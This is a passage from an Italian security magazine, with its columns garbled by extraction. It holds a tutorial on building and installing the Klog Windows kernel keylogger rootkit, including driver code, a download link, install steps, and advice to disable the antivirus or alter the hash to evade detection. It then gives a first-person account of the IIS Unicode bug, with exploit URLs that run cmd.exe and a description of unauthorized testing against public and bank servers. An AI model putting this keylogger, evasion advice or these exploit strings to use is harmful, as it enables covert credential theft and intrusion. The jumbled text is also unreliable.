intercettarli in modo silenzioso. Tali dati vengono interazioni in ingresso/uscita (ad esempio per

scambiati per mezzo degli IRP (I/O Request Packet), implementare una nuova funzionalità o risolvere un

una struttura allocata dall'I/O Manager di Windows[8] bug nel function driver senza dover necessariamente

proprio per consentire la comunicazione tra i vari modificare il codice), allo stesso tempo gli usi ai fini

device driver. La prima funzione invocata quando un sovversivi di questa tecnologia sono altrettanto

driver viene caricato in memoria è DriverEntry (un po' evidenti. Con poco sforzo diviene infatti possibile

come l'entry point di una comune applicazione in C è il creare componenti come keylogger e sniffer,

corpo main ed in una DLL la funzione DllMain) :attaccandosi ai device driver che gestiscono tastiera e

scheda di rete. Uno dei modi migliori per cominciare ad DriverEntry(

addentrarsi in questo mondo parecchio vasto ed in IN PDRIVER_OBJECT pDriverObject,

continua evoluzione è quindi quello di osservare da IN PUNICODE_STRING RegistryPath )

vicino come è fatto un kernel rootkit. Per lo scopo di

quest'oggi analizzeremo il sorgente di esempio Klog[7],

un keylogger lato kernel scritto da Clandestinity,

divenuto molto celebre e diffuso in rete. Per ragioni di

spazio naturalmente nel presente articolo diversi

aspetti verranno tralasciati (ad esempio il significato di [6] Non sempre questo è vero. I filter driver si distinguono infatti in

alcuni parametri passati a certe funzioni). Questi low ed upper filter. Quelli appartenenti alla prima categoria

possono comunque essere meglio compresi risiedono sopra il PDO ma sotto l'FDO, mentre i secondi stanno sia

sopra il PDO che l'FDO. Questi ultimi danno indubbiamente sfogo ai analizzando la documentazione WDK di Microsoft casi più interessanti perché sono in grado di intercettare i dati

Windows (riferirsi al box accanto per ulteriori passanti ancora prima del driver vero e proprio (ovvero del function

informazioni). Il codice è comunque ottimamente driver).

commentato e tradotto in lingua italiana per i lettori di [7] http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gzSecurity System. Per una maggiore usufruibilità

dell'articolo consigliamo quindi di stamparlo e seguirlo [8] Componente di Windows che si occupa di veicolare le richieste

d i I npu t /Ou tpu t a l l o s t ra to ke rne l e pe rme t te i l passo passo.caricamento/scaricamento dinamico dei driver.

Quali strumenti sono necessari per iniziare a creare

un rootkit?

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

47

Page 48: Security System

Figura 1: Relazione che intercore tra ogni Driver e Device Object. Questa immagine non rappresenta fedelmente la catena di driver e

device object di una tastiera ma è da intendersi unicamente come esempio fruibile a maggiore comprensione dell'articolo.

Uno dei primi compiti che viene svolto all'interno di keyboard filter driver questo interesse è interamente

DriverEntry è quello di popolare l'IRP dispatch volto ad intercettare le richieste di lettura

(IRP_MJ_READ) dalla tastiera (in pratica i tasti battuti table, un'array in cui vengono definiti dei puntatori a

delle funzioni che gestiscono opportunamente le dall'utente):

richieste pervenute al driver. Poiché il mancato

for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; recapito di tali richieste dal filtro ai driver di livello

i++)inferiore precluderebbe certamente la corretta pDriverObject->MajorFunction[i] = interazione dell'utente con il dispositivo associato, i DispatchPassDown;filter driver devono supportare tutti gli IRP Request

implementati dal driver di livello più basso. Di solito si pDriverObject->MajorFunction[IRP_MJ_READ] = limitano quindi a definire una funzione di pass-thru[9] DispatchRead;

per ogni possibile richiesta IRP (nell'esempio sotto

DispatchPassDown), salvo poi impostarne una

specifica per le richieste reputate di interesse (sempre

nell'esempio sotto DispatchRead). Nel caso di un

Il percorso compiuto da un IRP

Quando l'utente preme un tasto nella tastiera, l'I/O Manager del sistema operativo genera una richiesta IRP vuota

(IRP_MJ_READ) che attraversa tutta la catena dei device driver (Figura 1) fino al controller i8042 (quello preposto alla

gestione dell'hardware in questione). A questo punto all'interno dell'IRP viene collocato lo scancode (nient'altro che un

identificativo numerico che corrisponde al tasto premuto) e la richiesta viene inoltrata verso l'alto, ovvero compie il percorso

inverso. Tuttavia per vederla ritornare, il filter driver deve impostare una Completation Routine nel momento in cui riceve

l'IRP vuoto, una specie di marchio che ha un significato del tipo “voglio rivederti una volta che avrai lo scancode al tuo

interno”. Questo è il momento in cui un keylogger interviene. Ottenuto lo scancode, il keylogger deve convertirlo

all'effettivo tasto premuto utilizzando un'apposita tabella di conversione. Le tabelle di conversione possono essere

implementate attraverso delle keymap, vere e proprie mappe di caratteri che variano anche in modo parecchio consistente

in base al layout della tastiera (cioè alla lingua configurata nel sistema).

[9] Una funzione di pass-thru si limita semplicemente a

passare inalterati gli IRP, ovvero le richieste pervenute, al

driver di livello inferiore.

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

Rootkit Device Object(Senza nome)

/device/keyboardclass0

Device Object senza nome

Catena dei Device Object

8042 Keyboard controller

LIVELLO LOGICO LIVELLO LOGICO

LIVELLO FISICO

Keyboard FilterDriver (Rootkit)

“Klog.sys”

Keyboard classdriver

“Kbdclass.sys”

Keyboard busdriver

“i8042prt.sys”

Catena dei driver

48

Page 49: Security System

Il passo successivo consiste nel creare un Device menzionato in precedenza:

Object da agganciare alla componente interessata. RtlZeroMemory(All'interno della funzione HookKeyboard presente in pKeyboardDeviceObject->DeviceExtension, KbdHook.c, questo task viene svolto invocando sizeof(DEVICE_EXTENSION)

IoCreateDevice:);

PDEVICE_OBJECT pKeyboardDeviceObject;PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pKeyboardDeviceObject->NTSTATUS status = IoCreateDevice( DeviceExtension; pDriverObject,

sizeof(DEVICE_EXTENSION), Si tratta di un struttura custom che i kernel developer

NULL, //no nameutilizzano per memorizzare informazioni di vario genere

FILE_DEVICE_KEYBOARD, utili al corretto espletamento delle attività del driver. Nel

0, caso di Klog questa struttura è definita nel file header

true, “Klog.h” ed il suo contenuto sarà più evidente in &pKeyboardDeviceObject

seguito. A questo punto si può finalmente precedere );

all'hooking del Driver Device Object interessato.

Gli argomenti degni di nota della funzione L'aggancio viene eseguito, a partire dal nome

IoCreateDevice sono il secondo che rappresenta la identificativo dell'oggetto in questione, con la funzione

dimensione di DEVICE_EXTENSION (una struttura che IoAttachDevice. Ma a cosa agganciarci esattamente?

verrà inizializzata successivamente e che conterrà dei Esistono diversi punti di inserzione candidati per questo

campi driver-specific) ed il terzo che rappresenta scopo. Klog si aggancia tuttavia al Device Object

invece il nome assegnato al Device Object. In questo “\\Device\\KeyboardClass0“ gestito dal driver

caso l'oggetto sarà senza nome in quanto le kbdclass.sys. Si tratta di un Class Driver, ovvero un

applicazioni User Land non avranno necessità di tipo di device driver che gestisce degli hardware che

interagire direttamente con esso[10]. Il quarto ed il possono essere genericamente correlati ad una classe

settimo argomento indicano rispettivamente il tipo di ben definita di dispositivi o che hanno delle “funzioni” in

Device Object (FILE_DEVICE_KEYBOARD) e l'indirizzo comune:

IoAttachDevice(che punta alla variabile pKeyboardDeviceObject che pKeyboardDeviceObject,riceverà il puntatore all'oggetto creato. Il primo &uKeyboardDeviceName,argomento è invece il puntatore al DriverObject &pKeyboardDeviceExtension->pKeyboardDevice

ottenuto come primo parametro della funzione );

DriverEntry.

Per effettuare l'hooking vero e proprio sono necessari

altri due step. Anzitutto il Device Object appena creato

deve emulare gli stessi flag del driver sottostante. Uno

strumento come Device Tree[11] può essere utilizzato

per determinare tali flag:

pKeyboardDeviceObject->Flags =

pKeyboardDeviceObject->Flags |

(DO_BUFFERED_IO |

DO_POWER_PAGABLE

);

Dopo si deve inizializzare il Device Extension

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

[10] Un nome ad un Device Object viene solitamente assegnato

quando l'oggetto in questione deve comunicare con una o più

applicazioni lato utente, ricevendo da esse delle direttive ben

precise (le cosiddette IOCTL). Ad esempio nel caso di un driver che

implementa delle funzionalità di firewalling, l'applicazione user land

che consente all'utente di configurare le regole deve poter

comunicare in qualche modo con il relativo Device Object per

aggiungerle o rimuoverle dinamicamente.

[11] Le dipendenze e l'organizzazione stratificata dei device driver

nel proprio sistema possono essere osservate con uno strumento

come DeviceTree disponibile previa registrazione dal sito

http://www.osronline.com

49

Page 50: Security System

Il primo parametro alla funziona indica il Device Object Il primo parametro passato a PsCreateSystemThread

creato in precedenza con IoCreateDevice. Il secondo è un handle dichiarato poco prima nel codice (HANDLE

è invece l'indirizzo alla stringa che contiene il nome hThread;) mentre il sesto corrisponde all'entry point

d e l l ' o g g e t t o c h e s i s t a h o o k a n d o del thread che nel nostro caso verrà creato a partire dal

(\\Device\\KeyboardClass0) debitamente convertita codice presente nella funzione (ThreadKeyLogger).

in Unicode (tale conversione avviene un attimo prima L'ultimo argomento è il puntatore al Device Extention.

nel codice). IoAttachDevice ritorna anche un Come vedremo in seguito il thread utilizzerà alcuni dei

puntatore al Device Object appena agganciato. Questo campi contenuti in questa struttura per sincronizzarsi

viene memorizzato nel campo pKeyboardDevice della con la Completation Routine man mano che questa

intercetterà gli scancode presenti negli IRP e per struttura Device Extension per permettere al filtro di

loggare su file i tasti convertiti. All'interno di passare correttamente gli IRP che riceverà al driver

ThreadKeyLogger, il flusso di esecuzione del thread si sottostante.

blocca alla chiamata KeWaitForSingleObject in

attesa che gli scancode contenuti negli IRP che Il Worker Thread“risalgono” dalla catena siano disponibili nella coda.

Questa coda viene creata in DriverEntry subito dopo Adesso che l'hooking è completato in teoria siamo

il ritorno della funzione InitThreadKeyLogger con le pronti ad intercettare e loggare i dati in arrivo. La parola

c h i a m a t e a I n i t i a l i z e L i s t H e a d , “teoria” non assume qui un significato casuale. Infatti

mentre per espletare il primo task non sono richieste KeInitializeSpinLock e KeInitializeSemaphore:

particolari accortezze, il logging è un'operazione più

difficile da espletare in un driver poiché le operazioni di Il file di log input/output sui file possono avvenire solamente ad un

livello denominato IRQL_PASSIVE_LEVEL, mentre la All'interno del blocco principale DriverEntry viene Completation Routine (si veda il box a pagina 48) può quindi creato con la funzione ZwCreateFile il file in cui e s s e r e r i c h i a m a t a s o l a m e n t e a l l i v e l l o

verranno loggati i tasti premuti:DISPATCH_LEVEL, che è caratterizzato dalla

presenza di alcune limitazioni tra le quali appunto le ZwCreateFile(operazioni di I/O sui file. Per bypassare questo &pKeyboardDeviceExtension->hLogFile,

problema, Klog subito dopo l'hooking, crea un thread GENERIC_WRITE,

&obj_attrib,che sarà responsabile di loggare i tasti premuti. La sua

&file_status,i n i z i a l i z z a z i o n e a v v i e n e n e l l a f u n z i o n e NULL,“InitThreadKeyLogger” dichiarata in “kbdlog.c”. Il FILE_ATTRIBUTE_NORMAL,punto più importante qui è proprio relativo alla 0,

creazione del thread con PsCreateSystemThread: FILE_OPEN_IF,

FILE_SYNCHRONOUS_IO_NONALERT,PsCreateSystemThread(

NULL, &hThread,

0 (ACCESS_MASK)0,

); NULL,

(HANDLE)0,La funzione ZwCreateFile prende una serie di NULL,argomenti tra i quali i permessi di accesso al file, ThreadKeyLogger,

l'indirizzo della variabile in cui verrà memorizzato il suo pKeyboardDeviceExtension

); descrittore (il campo hLogFile nella struttura Device

Extension) e gli attributi che descrivono l'oggetto

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

50

Page 51: Security System

(obj_attrib). Tra questi attribuiti vi è anche la stringa pervenuta. Ma cosa è esattamente uno Stack

Location? Seppure ciascun IRP sia un'unica grande che specifica il nome del file, convertita in formato

struttura allocata in memoria, la sua dimensione varia in Unicode e dichiarata poco prima nel codice come:

base al numero di driver presenti nella catena. In parole

CCHAR ntNameFile[64] = povere per ogni driver presente nella catena, l'I/O "\\DosDevices\\c:\\klog.txt"; Manager aggiunge uno spazio extra nell'IRP

denominato appunto IO_STACK_LOCATION in cui Come già detto in precedenza il file di log una volta vengono collocati i parametri specifici della richiesta creato potrà essere scritto solamente da un thread ricevuta. A questo punto l'IRP viene instradato verso il caricante a livello IRQL_PASSIVE_LEVEL (il worker driver di livello inferiore con la funzione IoCallDriver. thread creato nel paragrafo prima). A questo punto il Il primo parametro di questa funzione è proprio blocco DriverEntry termina dopo aver popolato il l'indirizzo in cui si trova il device object del driver più in campo DriverUnload del puntatore al driver object: basso (memorizzato nella variabile puntatore

pKeyboardDevice del Device Extension al momento pDriverObject->DriverUnload = Unload;

dell'hook) mentre il secondo è il puntatore all'intera

struttura IRP(pIrp):La funzione Unload viene invocata quando il driver

viene rimosso dalla memoria. Il suo scopo è quello di IoCallDriver(

liberare tutte le risorse allocate durante la sua ((PDEVICE_EXTENSION) esecuzione. Klog è solo un Proof Of Concept (un codice pDeviceObject->DeviceExtension)->

dimostrativo) ed in quanto tale cerca di “uscire” dalla pKeyboardDevice,

memoria in modo pulito senza generare alcun crash del pIrp

);sistema. Un rootkit nel mondo reale mira invece a

rimanere in memoria per il più lungo arco temporale

Un pò più complessa è la funzione DispatchRead possibile senza essere rimosso, pertanto la funzione di

dichiarata in kbdhook.c che invece gestisce la scaricamento viene usualmente e di proposito lasciata

vuota. Nella maggior parte dei casi ciò causerà un Blue ricezione delle richieste IRP_MJ_READ. Per ogni IRP di

Screen Of Death dopo ogni tentativo di rilascio del questo tipo la funzione deve infatti impostare la

driver da user space. C o m p l e t a t i o n R o u t i n e c o n

IoSetCompleationRoutine, questo però dopo aver

Cominciano ad arrivare gli IRP… predisposto correttamente lo Stack Location:

Gli IRP che il filter driver riceve da questo momento in

poi possono essere collocati in due categorie: richieste

di lettura (IRP_MJ_READ) equivalenti alla pressione di

un tasto o tutte le altre richieste. Quelle appartenenti

alla seconda categoria vengono gestite dalla funzione

di pass-thru DispatchPassDown dichiarata in klog.c.

Sono un paio le operazioni base svolte al suo interno.

D a p p r i m a c o n l a m a c r o

IoSkipCurrentIrpStackLocation viene modificato il

puntatore all'array di strutture IO_STACK_LOCATION in

modo che il driver di livello inferiore possa accedere alla

stessa struttura[12] ricevuta dal filter. Ciò consente di

lasciare assolutamente inalterata la richiesta

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

[12] Come vedremo più avanti questo task può essere eseguito in

diversi modi, ad esempio manipolando direttamente i puntatori

r i t o rna t i da IoGetCurrentIrpStackLocation e

IoGetNextIrpStackLocation oppure utilizzando la funzione IoCopyCurrentIrpStackLocationToNext

51

Page 52: Security System

PIO_STACK_LOCATION currentIrpStack PKEYBOARD_INPUT_DATA keys =

= IoGetCurrentIrpStackLocation(pIrp); (PKEYBOARD_INPUT_DATA)pIrp->

AssociatedIrp.SystemBuffer;

PIO_STACK_LOCATION nextIrpStack =

IoGetNextIrpStackLocation(pIrp); int numKeys = pIrp->

IoStatus.Information

*nextIrpStack = *currentIrpStack; / sizeof(KEYBOARD_INPUT_DATA);

IoSetCompletionRoutine( Quindi per ciascun elemento prelevato dall'array pIrp, aggiunge nella coda le informazioni di interesse (lo OnReadCompletion, scancode ed i flags che indicano se il tasto è stato pDeviceObject,

p r e m u t o o r i l a s c i a t o ) c o n TRUE,

ExInterlockedInsertTailList. Gli elementi TRUE,

vengono inseriti uno alla volta. TRUE

);Il Worker Thread a questo punto viene allertato della

presenza di dati nella coda, li estrapola con la macro L ' a r g o m e n t o p i ù i m p o r t a n t e p a s s a t o a CONTAINING_RECORD e converte ciascuno scancode IoSetCompletionRoutine è il secondo. Questo nell'effettivo tasto premuto passando questi dati alla specifica la funzione di callback che verrà invocata funzione ConvertScanCodeToKeyCode (dichiarata quando l'IRP sarà completato (ovvero quando da all'interno di scancode.c). Al ritorno da questa funzione richiesta “vuota” attraverserà la catena con lo scancode

il Worker Thread registra su file il tasto effettivamente corrispondente al tasto premuto dall'utente). Anche in

premuto con ZwWriteFile:questo caso l'IRP viene passato al driver di livello

inferiore con IoCallDriver.ZwWriteFile(

pKeyboardDeviceExtension->hLogFile,Fase finale: Intercettazione e logging

NULL,

NULL,Lo scopo della funzione OnReadCompletation è quindi NULL,

quello di estrapolare gli scancode e posizionarli nella &io_status,

coda tenuta sotto controllo dal Worker Thread in modo &keys,

strlen(keys),che questo possa convertirli in appositi tasti da loggare

NULL,su file. Dapprima Klog si assicura che l'IRP ritornato sia NULLstato “completato” con successo, ovvero abbia “a );bordo” uno o più scancode:

Gli argomenti più importanti a ZwWriteFile sono tre. Il if(pIrp->IoStatus.Status == STATUS_SUCCESS)

primo indica il descrittore al file memorizzato nella

Device Extension Area. Il sesto è il buffer che si deve In seguito preleva da SystemBuffer un array di

scrivere ed il settimo la sua dimensione in byte[13]. strutture KEYBOARD_INPUT_DATA (in cui è presente il

membro MakeCode che è proprio preposto al

c o n t e n i m e n t o d e l l o s c a n c o d e ) e d a

IoStatus.Information la dimensione di questo

array:

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

[13] Non tutti i tasti premuti equivalgono in dimensione ad un byte.

Alcuni tasti definiti estesi possono dare vita a più byte. Ad esempio il

tasto Invio genera contemporaneamente i byte “ritorno a carrello”

(0x0a) e “nuova linea” (0x0d).

52

Page 53: Security System

file C:\Klog.txt. Questo non potrà essere aperto Testare il funzionamento di Klogmentre il driver è in esecuzione. Per tale motivo è

necessario scaricare il rootkit dalla memoria per potervi A questo punto del codice possiamo dire che tutti i

accedere o eventualmente trovare un metodo principali aspetti di un keyboard filter driver sono stati

alternativo (ad esempio modificare il sorgente in modo coperti (si rimanda per maggiore completezza, se non

che i tasti loggati vengano inviati per email o “sparati” lo si è fatto fino ad ora, ai sorgenti commentati). Adesso

fuori attraverso altri meccanismi). però è il momento di un po' di pratica! Per testare il

funzionamento di Klog nel vostro sistema (quelli da noi

Il secondo metodo richiede invece uno step preventivo testati sono stati Windows 2000 Sp4 e Windows XP

in più: la compilazione dei sorgenti. Installato il WDK SP2) potete procedere in due modi. Il primo è quello più

(reperibile dove indicato nel Box a pagina 47) cliccate semplice. Prelevate dal riferimento [7] il driver rootkit già

su Start, Programmi, Windows Driver Kit, WDK6000, compilato (Klog.sys[14]) ed il tool InstDrv.exe.

Build Environments e selezionate il tipo di sistema Lanciate quest'ultimo. Nel text box inserite il percorso operativo in cui il rootkit dovrà essere caricato. completo in cui avete copiato il .sys, quindi cliccate Scegliete l'icona del prompt dei comandi marcata come dapprima sul pulsante “Install” e dopo su “Start”. Un “Checked”, quindi all'apertura dell'interprete spostatevi messaggio di avviso vi dovrebbe avvertire della corretta con il comando DOS “cd” nella cartella in cui sono riuscita dell'operazione. A questo punto il rootkit è in

contenuti i sorgenti di Klog e lanciate il comando esecuzione in memoria e dovreste accorgervene anche

“build”. Al termine della compilazione l'oggetto binario dalla presenza nel vostro hard disk del file

verrà collocato all'interno della sottodirectory “bin”. C:\Klog.txt. Digitate un po' di tasti (ad esempio

Svolgete le operazioni descritte in precedenza per provate ad inviare una email o loggarvi alla vostra

caricarlo e testarlo.webmail protetta con SSL). Al termine cliccate sul

pulsante “Stop” di InstDrv ed osservate il contenuto del

Scopri qui http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz

i contenuti extra messi a disposizione della redazione per questo articolo.

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

[14] Probabilmente klog.sys verrà identificata come una

componente infetta dal vostro antivirus, quindi per continuare a

svolgere il test dovrete momentaneamente disattivarlo. In

alternativa si può modificare il sorgente di klog quel minimo da far

apparire diverso l'hash del binario ricompilato così da azzittire le

misure di protezione installate nel sistema.

53

Page 54: Security System

Racconti dall’ undergroundLA VERA STORIA

DELL’ UNICODE BUG

che ti sistema a vita con uno stipendio modesto come l tema dell'etica hacking è uno dei più dibattuti da

certe leggende metropolitane vorrebbero far credere. oltre vent'anni e questo a dispetto della lunga

Forse una volta….But no more!Idatazione di uno dei primi documenti, possiamo

definire cardine della cultura hacker primordiale, The I fattiConscience of a Hacker[1] (anche noto come The

Hacker Manifesto), apparso per la prima volta l'8 Tutto ebbe inizio con un post anonimo nel forum di

gennaio del 1986 nel numero 7 di Phrack. Scritto da Packetstorm il 10 ottobre del 2000:

The Mentor dopo il suo arresto, oggi diffuso in Title: IIS5 has a very big bug that svariati siti web, rappresenta ancora la principale let you execute arbitrary commandfonte di ispirazione per molti hacker o sedicenti tali,

persone “ispirate” in gran parte della casistica a On my win2000+IIS5 ,I can use this URL commettere deface: “Ma The Hacker Manifesto non to execute dir command:dice esplicitamente che non si può defacciare un sito http://127.0.0.1/scripts/..%c1%1c../wiWeb!” E come potrebbe?? D'altronde è stato scritto nnt/system32/cmd.exe?/c+dir+c:\prima ancora che Tim Berners-Lee assieme a

Robert Cailliau progettassero le specifiche and this is a example:preliminari di HTTP ed HTML ed il concetto di World http://www.linux.org.cn/scripts/..%c1%Wide Web a cavallo tra il 1989 ed il 1990! La 1c../winnt/system32/cmd.exe?/c+dir+c:\sensazione al momento, parlando appunto di “etica

hacking”, pare essere che ci si stia allontanando Il contenuto del messaggio era auto-esplicativo e sempre più dalla meta, utilizzando pretesti farlocchi descriveva quello che sarebbe passato alla storia per giustificare azioni oggettivamente senza senso, come l'IIS Unicode Bug. La vulnerabilità permetteva utili forse ad esaltare unicamente un ego alterato e di eseguire remotamente qualsiasi comando su un represso. Ad esempio, dove sta la ricerca della sistema in cui era installato Internet Information conoscenza e dell'informazione nel defacciare il sito Services 5.0, il web server Microsoft in dotazione di del comune di Sant'Ilario dello Ionio o di Monastir in default con Windows 2000, semplicemente digitando quel di Cagliari come realmente accaduto negli ultimi la stringa descritta nel post all'interno di un qualsiasi mesi?

browser web. Il problema risiedeva apparentemente Quella che vi proponiamo oggi è una storia come nel modo in cui il servizio gestiva i caratteri Unicode, tante altre, una storia dalla quale presumiamo, anzi decodificandoli solo successivamente anziché prima siamo convinti, si possa trarre una morale (in fondo le della validazione del percorso e della risorsa richiesta storie dovrebbero servire proprio ad imparare non dall'utente. Inutile dire che www.linux.org.cn fu solo dagli errori personali ma anche e soprattutto da bucato in quelle ore da migliaia di provetti hacker ed quelli commessi dagli altri). Si parla di un ragazzo infestato dalle peggiori backdoor che potessero stupido e fortunato allo stesso tempo. Forse non un esistere nella rete. Davvero strano il destino di questo hacker. Una persona che ammette di aver compiuto sito i cui contenuti, residenti su piattaforma delle azioni “incaute” per uno scopo ben preciso proprietaria Microsoft, miravano invece ad informare (sicuramente opinabili) ma che aldilà della rabbia che gli utenti dell'esistenza del movimento open source e aveva dentro non è stato così codardo da del sistema operativo Linux. Oggi in quel server ci prendersela con il primo di turno, che ha deciso gira una Debian con Apache. Come hanno dichiarato piuttosto di “piegare il sistema” per raggiungere il suo alcuni miei amici profondi sostenitori delle tecnologie obiettivo, non prenderlo a martellate! Perché non aperte, probabilmente chi gestiva quel sistema ha sono tutte rose e fiori. Se ti beccano oggi non vai a imparato la lezione. lavorare per la NASA o per una grossa multinazionale

[1] http://www.phrack.org/archives/7/P07-03

54

Page 55: Security System

Racconti dall’ undergroundLA VERA STORIA

DELL’ UNICODE BUG

Tornando alla storia dei fatti, in realtà esisteva un problema. Prima che la vulnerabilità divenisse celebre

grosso impedimento. Il trucco descritto nel post di io ero comunque già al corrente di questo fatto.In realtà

Packetstorm funzionava solamente sui server cinesi. ci avevo sbattuto il grugno per diverse

Quelli europei ed americani sembravano non essere ore perché dopo aver installato Windows 2000 nella

minimamente intaccati dal problema. Iniziai quindi a mia LAN di casa e trovato la corretta sequenza di

cercare di capire il perché. A quel tempo non avevo la caratteri Unicode, avevo aggiornato il server con tutte

minima conoscenza del set di caratteri Unicode. le patch disponibili del momento e dopo il reboot non

Installai Windows 2000 Server sulla mia LAN di casa ero più riuscito a replicare il problema durante i test

e cominciai velocemente a documentarmi su di esso. successivi. Ci volle un bel po' prima che riuscissi ad

Appresi i concetti base e cominciai a pensare tra me e individuare la patch che rendeva nulla la falla. Allora più

me che i cinesi utilizzavano sicuramente un set di di oggi installare gli aggiornamenti del sistema

caratteri diverso rispetto a quello adottato in Italia. La operativo era comunque un optional quasi per

chiave di volta risiedeva quindi probabilmente nel chiunque (sia che fosse un'azienda, sia che fosse un

trovare la giusta sequenza di caratteri Unicode semplice utente desktop) ed è per questo motivo che i

funzionante sui server Windows che supportavano la worm ed i virus che sfruttarono in seguito l'Unicode Bug

lingua inglese ed italiana. Scrissi allora un piccolo per diffondersi in rete, hanno potuto scorrazzare

programma in C che testava ciclicamente delle liberamente per anni prima di essere quasi del tutto

occorrenze differenti di “%c1%1c” (quella a sua debellati (ma questa è una questione che affronteremo

in seguito). La patch MS00-57[2] menzionata nel volta menzionata nel post di Packetstorm). Ciascuna

bollettino MS00-78[3] non l'aveva insomma installata, occorrenza veniva poi automaticamente inviata al

fino a quel momento, quasi nessuno. Oggi proprio per web server, nel tentativo di eseguire il comando “dir

questa sorta di negligenza, insita possiamo definire c:\”. Poi osservavo le risposte ritornate alla ricerca “built-in” nella maggior parte degli utenti, sono molti i di un output favorevole. Alla fine trovai un'occorrenza vendor che hanno cominciato ad includere nei loro funzionante in “%c0%af”. Questa fu la prima ed sof tware del le procedure automat iche d i ultima che scoprì. Più avanti altri ricercatori molto più aggiornamento. Avast ad esempio non mi avverte curiosi di me avrebbero testato tutte le combinazioni nemmeno più di stare lanciando un update delle Unicode possibili trovandone altre utilizzabili. A definizioni antivirus e me ne accorgo solo quando la questo punto aprì il mio browser, presi dalla lista di spia rossa del mio hard disk comincia a lampeggiare una scansione fatta in precedenza il primo indirizzo come un'autoambulanza ed il PC si blocca per qualche IP pubblico a cui sembrava rispondere un web server secondo! Alla fine, dopo svariati tentativi con IP IIS ed incollai lì la stringa:pubblici, mi accorsi che ad essere vulnerabili

“http://Indirizzo_IP/scripts/..%c0%af. all'Unicode Bug erano tutte le versioni di IIS (a partire ./winnt/system32/cmd.exe?/c+dir+c:\”

dalla 5.0 montata su Windows 2000 fino al primordiale

release 2.0 delle versioni precedenti del sistema Ricontrollai un'ultima volta l'URL, quindi pigiai il tasto

operativo Microsoft). Il calendario del mio PC segnava Invio. Tutto andò come previsto. Il server in questione

a quel tempo il 12 Ottobre dell'anno 2000. Fino a quel mi ritornò in output le directory del suo volume C. Ero

momento nessuno aveva replicato al post originario sul riuscito a riprodurre la vulnerabilità non solo in locale

forum di Packetstorm, né comunicato su qualunque ma anche su Internet. Testai altri indirizzi IP

altro una scoperta simile alla mia.ottenendo gli stessi risultati positivi. Tutti i server,

nessuno escluso, risultavano essere vulnerabili. Più

avanti quando Microsoft cominciò a prestare [2] http://www.microsoft.com/technet/security/bulletin/ms00-

attenzione all'Unicode Bug si apprese che una patch 057.mspx

rilasciata dalla compagnia nell'agosto del 2000, per [3] http://www.microsoft.com/technet/security/bulletin/ms00-

078.mspxuno scopo completamente differente, risolveva già il

55

Page 56: Security System

Racconti dall’ undergroundLA VERA STORIA

DELL’ UNICODE BUG

Avevo in pratica sotto controllo un paio di milioni di La telefonata alla Banca di Romaweb server in tutto il mondo! Uno 0day di questo tipo

oggi farebbe la fortuna di molti criminali online. “Banca di Roma buongiorno, sono XXXX come In realtà la pacchia durò meno di una settimana. Il 17 posso aiutarla?” – rispose una voce femminile ottobre dello stesso anno, il ricercatore di sicurezza dall'altra parte del telefono.noto con il nickname RFP (Rain Forest Puppy) svelò “Si salve” – dissi io con la voce spezzata ed impaurita quello che io avevo già scoperto da cinque giorni. Nel di un ragazzo che aveva appena realizzato di stare frattempo non ero rimasto con le mani in mano. commettendo una grossa stupidaggine – “sto Cinque giorni nel conoscere una vulnerabilità così chiamando per segnalare una pericolosa falla nel importante sono un notevole vantaggio se sfruttati vostro sito web”.adeguatamente. Impiegai questo vantaggio Passarono alcuni secondi di ghiaccio, poi la voce barattando la mia scoperta in cerca di un lavoro, femminile, presa di sorpresa, si fece risentire ovvero cercando di impressionare favorevolmente cercando di non nascondere affatto il suo classico qualche azienda. Oggi, con il senno del poi, tiro un accento romanesco: “Credo de non avè capito sospiro di sollievo e comprendo che mi è andata bbene. Po' spiegamme mejo?”davvero bene. Avrei potuto rischiare grosso ma il Ed io risposi senza mezzi termini: “Il vostro sito gioco all'epoca mi sembrava che valesse la candela. www.bancadiroma.it risiede su un'istanza del web Avevo 19 anni ed ero disoccupato. Nessuna server IIS che permette a chiunque di eseguire compagnia era disposta ad assumermi o darmi un comandi dall'esterno della vostra LAN o visualizzare i lavoro perché non avevo ancora adempiuto agli file del sistema… E' una cosa grave!”obblighi militari…e ripensandoci, allora avevo una Dubitai che la ragazza avesse capito qualcosa. Poi rabbia da anarchico insoddisfatto che riuscivo a con mia profonda sorpresa mi disse in dialetto meno placare a malapena, soprattutto quando mi trovavo di accentuato: “Uhhh ma allora sei un hacker? Puoi fronte all'evidenza di tante prospettive di lavoro aspettare un momento?” – quindi fece partire una di rovinate o mancate a causa di quello stupido quelle orrende musichette, classiche di quando si adempimento obbligatorio che era la leva. mette in attesa una persona. “Adesso” - pensai tra me

e me – “mi tracciano e mi arrestano!”. Decisi, come si

Partono le telefonate vede ogni tanto nei film alla TV, che se la ragazza non

fosse ritornata al telefono entro quindici secondi,

avrei abbassato la cornetta. In quel momento presi Quella che segue è la cronaca approssimativa

coscienza che non era tanto folle il fatto che stessi ricostruita a memoria di ciò che accadde tra il 12

cercando di avvertire una banca del grave rischio che ottobre del 2000 ed i giorni delle settimane

correva, quanto quello che li stavo proprio chiamando successive. Fino a quel momento non vi era server

dall'utenza telefonica di casa intestata ai miei IIS che testassi che non fosse vulnerabile all'Unicode

genitori! Dopo qualche secondo la musichetta si Bug ed i siti delle banche italiane non facevano certo

interruppe e la ragazza mi disse: eccezione. Ne presi di mira una ventina,

“Ti passo il servizio tecnico e racconti a loro di questa approfittando degli URL segnalati in un numero di

cosa. Ok?”. Annuì ringraziando e mi passarono il Jack uscito proprio in quel periodo. Più della metà

CED. Qui parlai con un tecnico che senza nemmeno erano vulnerabili all'Unicode Bug. Fra questi ne scelsi

